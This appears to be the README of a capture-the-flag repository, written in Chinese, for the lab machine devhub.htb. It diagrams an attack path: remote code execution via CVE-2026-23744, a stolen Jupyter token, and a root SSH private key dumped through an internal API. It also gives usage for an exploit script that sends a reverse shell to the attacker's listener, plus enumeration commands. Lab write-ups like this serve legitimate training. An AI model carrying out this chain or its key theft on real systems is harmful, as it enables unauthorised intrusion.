难度： 中等
操作系统： Linux
┌─────────────────────────────────────────────────────┐
│ CVE-2026-23744 │
│ Unauthenticated POST → /api/mcp/connect │
└─────────────────────┬───────────────────────────────┘
↓
Shell as mcp-dev
↓
┌─────────────────────────────────────────────────────┐
│ portfwd 8888 → Jupyter Notebook Token Grab │
└─────────────────────┬───────────────────────────────┘
↓
Browser → http://127.0.0.1:8888
↓
Shell as analyst via notebook cell
↓
┌─────────────────────────────────────────────────────┐
│ cat /opt/opsmcp/server.py │
└─────────────────────┬───────────────────────────────┘
↓
portfwd 5000 → OPSMCP API
↓
↓
/root/.ssh/id_rsa dumped
↓
┌─────────────────────────────────────────────────────┐
│ ssh -i root_id_rsa [email protected] │
│ ROOT ★ │
└─────────────────────────────────────────────────────┘
| 文件 | 描述 |
|---|---|
exploit.py | CVE-2026-23744 RCE 漏洞利用脚本（含漏洞检测） |
enum.py | 本地枚举 — Jupyter、MCP、Python、提权 |
# Exploit
python3 exploit.py -t devhub.htb -l <your_ip> -r 4444
# Enumeration (once on box)
python3 enum.py --section all
python3 enum.py --section jupyter
仅供教育目的和经授权的测试使用。